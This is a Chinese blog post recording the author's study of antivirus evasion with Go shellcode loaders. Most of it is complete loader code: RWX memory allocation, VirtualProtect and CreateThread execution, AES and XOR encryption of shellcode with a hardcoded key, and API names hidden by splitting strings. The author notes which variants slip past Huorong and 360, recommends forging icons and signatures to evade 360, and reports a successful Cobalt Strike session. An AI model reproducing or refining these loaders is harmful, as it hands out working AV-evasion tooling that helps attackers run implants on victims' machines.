返回顶部

go免杀学习记录-希望大家关注下公众号:落魄山安全

题记

  最近剑来动漫上线,虽然观感不如我的预期,感觉节奏过快。但是也是一种进步了,愿各位道友都能找到自己的宁姚。

  "我喜欢的姑娘啊,她眉如远山,浩然天下所有好看的山,好看的水,加起来都不如她。她睫毛轻颤的模样,落在了我的心里。那万年不动的剑气长城,都好像轻轻晃了晃。"                                                                                                                                                           ——烽火戏诸侯 《剑来》

  经过这几天的学习,go语言的shellcode加载器也算入门了一些,火绒把shellcode远程加载就能直接过,360需要做一下icon与签名的伪造,当然做完这些原生的shellcode加载器也能直接绕过火绒。

原始的加载器代码

  实测以下代码编译好的exe可以成功执行,但免杀效果较差,不过我们依然可以学到最原始的shellcode加载器的执行原理,后边免杀也是围绕基础的原理进行各种二开操作的。

  加载使用的模块,输入shellcode,分配内存,然后将shellcode复制到分配的内存中执行。

package main

import (

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows")

func main() {

    code := ""

 

    decode, _ := hex.DecodeString(code)

    kernel32, _ := syscall.LoadDLL("kernel32.dll")

    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

 

    // 分配内存并写入 shellcode 内容

    allocSize := uintptr(len(decode))

    mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, decode)

 

    // 执行 shellcode

syscall.Syscall(mem, 0, 0, 0, 0)

}

注释:

1、包导入

  encoding/hex:用于十六进制编码和解码。

  syscall:用于与操作系统进行低级别的交互。

  unsafe:提供对内存的低级访问。

  golang.org/x/sys/windows:提供与Windows系统交互的功能。

2、解码Shellcode

  使用hex.DecodeString将十六进制字符串解码为字节切片。该操作可能会返回错误,但在这段代码中错误未被处理。

  go加载shellcode时需要转换成字节数组才能加载,在测试打印我们一般转换成十六进制字符串打印出来

  在加解密过程中踩坑较多,需要注意函数输入和输出的到底是十六进制字符串还是字节数组

  例如:

    message := "fc4883e4f0e8c8"就是十六进制字符串

    十六进制字符串string转换成字节数组byteArray

    byteArray, _ := hex.DecodeString(hexString)

    字节数组转换成十六进制字符串

    hexString := hex.EncodeToString(byteArray)

3、加载DLL和查找函数

  加载Windows的kernel32.dll库,该库包含处理内存分配的函数。

  查找VirtualAlloc函数,该函数用于在进程的虚拟地址空间中分配内存。

4、分配内存

  allocSize为要分配的内存大小,单位为字节。

  调用VirtualAlloc分配内存,参数说明:

  0表示操作系统选择内存地址。

  allocSize是要分配的大小。

  windows.MEM_COMMIT|windows.MEM_RESERVE表示分配和保留内存。

  windows.PAGE_EXECUTE_READWRITE表示分配的内存可执行、可读和可写。

  如果返回的内存地址mem为0,表示分配失败,程序将触发panic。

4、写入shellcode

  使用unsafe.Pointer将分配的内存地址转换为字节数组指针,并创建一个切片buffer,其大小为分配的内存大小。

  将解码后的Shellcode复制到分配的内存中。

5、执行Shellcode

  调用syscall.Syscall来执行Shellcode。第一个参数是Shellcode的内存地址,后面三个参数是传递给Shellcode的参数(此处都为0)。

参数调用加载器

package main

import (
    "encoding/hex"
    "golang.org/x/sys/windows"
    "os"
    "unsafe"
)

const (
    MEM_COMMIT        = 0x1000
    MEM_RESERVE       = 0x2000
    PAGE_EXECUTE_READ = 0x20
    PAGE_READWRITE    = 0x04
)

func main() {
    param := os.Args[1]
    respString := string(param)
    shellcode2, _ := hex.DecodeString(respString)
    data := shellcode2
    /*for i := 0; i < len(data); i++ {
        fmt.Printf("%x", data[i])
    }*/
    //execEnumChildWindows(data)
    kernel32 := windows.NewLazySystemDLL("kernel32")
    //user32 := windows.NewLazySystemDLL("user32")

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
    VirtualAlloc := kernel32.NewProc("VirtualAlloc")
    VirtualProtect := kernel32.NewProc("VirtualProtect")
    //EnumChildWindows := user32.NewProc("EnumChildWindows")

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
        panic(1)
    }
    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
        panic(1)
    }
    oldProtect := PAGE_READWRITE
    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
        panic(1)
    }
    CreateThread := kernel32.NewProc("CreateThread")
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

  可以看到以上加载器火绒是监测不出来的,但过不了360。

加密方式一-aes加密

  aes加密:

package main

 

import (

"bytes"

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

)

 

// 填充字符串(末尾)

func PaddingText1(str []byte, blockSize int) []byte {

//需要填充的数据长度

paddingCount := blockSize - len(str)%blockSize

//填充数据为:paddingCount ,填充的值为:paddingCount

paddingStr := bytes.Repeat([]byte{byte(paddingCount)}, paddingCount)

newPaddingStr := append(str, paddingStr...)

//fmt.Println(newPaddingStr)

return newPaddingStr

}

 

// ---------------DES加密--------------------

func EncyptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

src = PaddingText1(src, block.BlockSize())

blockMode := cipher.NewCBCEncrypter(block, key)

blockMode.CryptBlocks(src, src)

return src

}

 

func main() {

 

shellcode := []byte{}

str := base64.StdEncoding.EncodeToString(shellcode)

 

//密钥长度16

key := []byte("AofqwwWicshoiqQq")

src := EncyptogAES(str, key)

message := base32.HexEncoding.EncodeToString(src)

fmt.Println(message)

}

  aes解密:

package main

 

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows"

)

 

// 去掉字符(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

 

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

 

 

func main() {

    message := ""

 

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

str := string(DecrptogAES(aesMsg, key))

sc, _ := base64.StdEncoding.DecodeString(string(str))

code := string(sc)

 

加密方式二-xor混淆

  xor加密:

// XOR 操作

xordMessage := make([]byte, len(str))

for i := 0; i < len(str); i++ {

xordMessage[i] = str[i] ^ 0xff

}

  xor解密:

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

内存加载方式一

code := ""

 

    decode, _ := hex.DecodeString(code)

    kernel32, _ := syscall.LoadDLL("kernel32.dll")

    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

 

    // 分配内存并写入 shellcode 内容

    allocSize := uintptr(len(decode))

    mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, decode)

 

    // 执行 shellcode

syscall.Syscall(mem, 0, 0, 0, 0)

}

 

内存加载方式二

code := string(sc)

    shellcode, _ := hex.DecodeString(code)

 

    data := shellcode

    /*for i := 0; i < len(data); i++ {

        fmt.Printf("%x", data[i])

    }*/

    //execEnumChildWindows(data)

    kernel32 := windows.NewLazySystemDLL("kernel32")

    //user32 := windows.NewLazySystemDLL("user32")

 

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")

    VirtualAlloc := kernel32.NewProc("VirtualAlloc")

    VirtualProtect := kernel32.NewProc("VirtualProtect")

    //EnumChildWindows := user32.NewProc("EnumChildWindows")

 

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {

        panic(1)

    }

    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))

    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {

        panic(1)

    }

    oldProtect := PAGE_READWRITE

    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {

        panic(1)

    }

    CreateThread := kernel32.NewProc("CreateThread")

    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

 

内存加载方式三

    code := string(sc)
    decode, _ := hex.DecodeString(code)
    var (
        a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
        c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))
    )

    allocSize := uintptr(len(decode))
    mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decode)


    syscall.Syscall(mem, 0, 0, 0, 0)

 

内存加载方式四-失败

  ntdll.dll的加载执行没成功过,不知道原因。

const (

MEM_COMMIT             = 0x1000

MEM_RESERVE            = 0x2000

PAGE_EXECUTE_READWRITE = 0x40

)

 

var (

kernel32      = syscall.MustLoadDLL("kernel32.dll")   //调用kernel32.dll

ntdll         = syscall.MustLoadDLL("ntdll.dll")      //调用ntdll.dll

VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll调用ViretualAlloc函数

RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")   //使用ntdll调用RtCopyMemory函数

)

 

func checkErr(err error) {

if err != nil { // 如果内存调用出现错误,可以报出

if err.Error() != "The operation completed successfully." {

println(err.Error())

os.Exit(1)

}

}

}

 

运行失败1,参考https://github.com/YGYoghurt/Go-shellcode--

shellcode, err := hex.DecodeString(deStrBytes)

 

// 调用VirtualAllo申请一块内存

addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if addr == 0 {

checkErr(err)

}

// 调用RtlCopyMemory加载进内存当中

_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)/2))

_, _, err = RtlCopyMemory.Call(addr+uintptr(len(shellcode)/2), (uintptr)(unsafe.Pointer(&shellcode[len(shellcode)/2])), uintptr(len(shellcode)/2))

checkErr(err)

 

//syscall来运行shellcode

syscall.Syscall(addr, 0, 0, 0, 0)

运行失败2,参考https://github.com/hhuang00/go-bypass-loader/tree/main:

var (

a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))

b = syscall.MustLoadDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))

c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))

d = b.MustFindProc(string([]byte{'R', 't', 'l', 'C', 'o', 'p', 'y', 'M', 'e', 'm', 'o', 'r', 'y'}))

)

 

addr, _, err := c.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if err != nil && err.Error() != "The operation completed successfully." {

syscall.Exit(0)

}

_, _, err = d.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))

if err != nil && err.Error() != "The operation completed successfully." {

syscall.Exit(0)

}

syscall.Syscall(addr, 0, 0, 0, 0)

示例加载器一

  以下代码感觉内存分配执行的方式烂大街了,火绒都过不了,需要改一下。

package main

 

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows"

)

 

// 去掉字符(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

 

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

 

 

func main() {

//message的值为先混淆然后aes加密后的值  

message := ""

 

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

xordMessage := string(DecrptogAES(aesMsg, key))

 

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

 

sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))

 

 

 

code := string(sc)

    decode, _ := hex.DecodeString(code)

var (

a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))

c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))

)

 

    allocSize := uintptr(len(decode))

    mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, decode)

 

 

    syscall.Syscall(mem, 0, 0, 0, 0)

}

示例加载器二

  以下代码可直接过火绒,但是360能够查出来。

package main

 

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows"

)

 

const (

MEM_COMMIT             = 0x1000

MEM_RESERVE            = 0x2000

PAGE_EXECUTE_READWRITE = 0x40

PAGE_EXECUTE_READ = 0x20

     PAGE_READWRITE    = 0x04

)

 

// 去掉字符(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

 

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

 

 

func main() {

//message的值为先混淆然后aes加密后的值    

message := ""

 

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

xordMessage := string(DecrptogAES(aesMsg, key))

 

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

 

sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))

 

 

 

code := string(sc)

    shellcode, _ := hex.DecodeString(code)

 

    data := shellcode

    /*for i := 0; i < len(data); i++ {

        fmt.Printf("%x", data[i])

    }*/

    //execEnumChildWindows(data)

    kernel32 := windows.NewLazySystemDLL("kernel32")

    //user32 := windows.NewLazySystemDLL("user32")

 

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")

    VirtualAlloc := kernel32.NewProc("VirtualAlloc")

    VirtualProtect := kernel32.NewProc("VirtualProtect")

    //EnumChildWindows := user32.NewProc("EnumChildWindows")

 

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {

        panic(1)

    }

    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))

    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {

        panic(1)

    }

    oldProtect := PAGE_READWRITE

    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {

        panic(1)

    }

    CreateThread := kernel32.NewProc("CreateThread")

    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

360和火绒的简便方法

  借用大佬的一段话:“想告诉大家,有时候落地无很可能不是代码问题就是特征匹配上了,使用工具或者是修改VS编译配置,相当于改头换面,换了个hash让他比对不上,就能过了。”

  我们可以看到,示例加载器1和2是都过不了360的,但我们通过工具批量伪造签名和icon可以让360短时间查不出来。

  批量生成:

  360查完还剩下30多个:

  对单独的进行扫描,360未发现异常:

  成功上线cs:

参考文章

  go实现的shellcode免杀加载器,实测可过火绒,360:https://github.com/hhuang00/go-bypass-loader/tree/main

  go实现免杀(实用思路篇):https://xz.aliyun.com/t/14692?time__1311=GqAhYKBK0K7KY5DsD7%2B3GQmoAIuwmBa1YD#toc-0

  老生常谈杀软特性 免杀数字你也行:https://mp.weixin.qq.com/s/2ROYMmutQbWUeuNc3aDUww

  Golang写的shellcode免杀加载器思路:https://github.com/YGYoghurt/Go-shellcode--

posted @ 2024-08-25 09:03  11阳光  阅读(169)  评论(0编辑  收藏  举报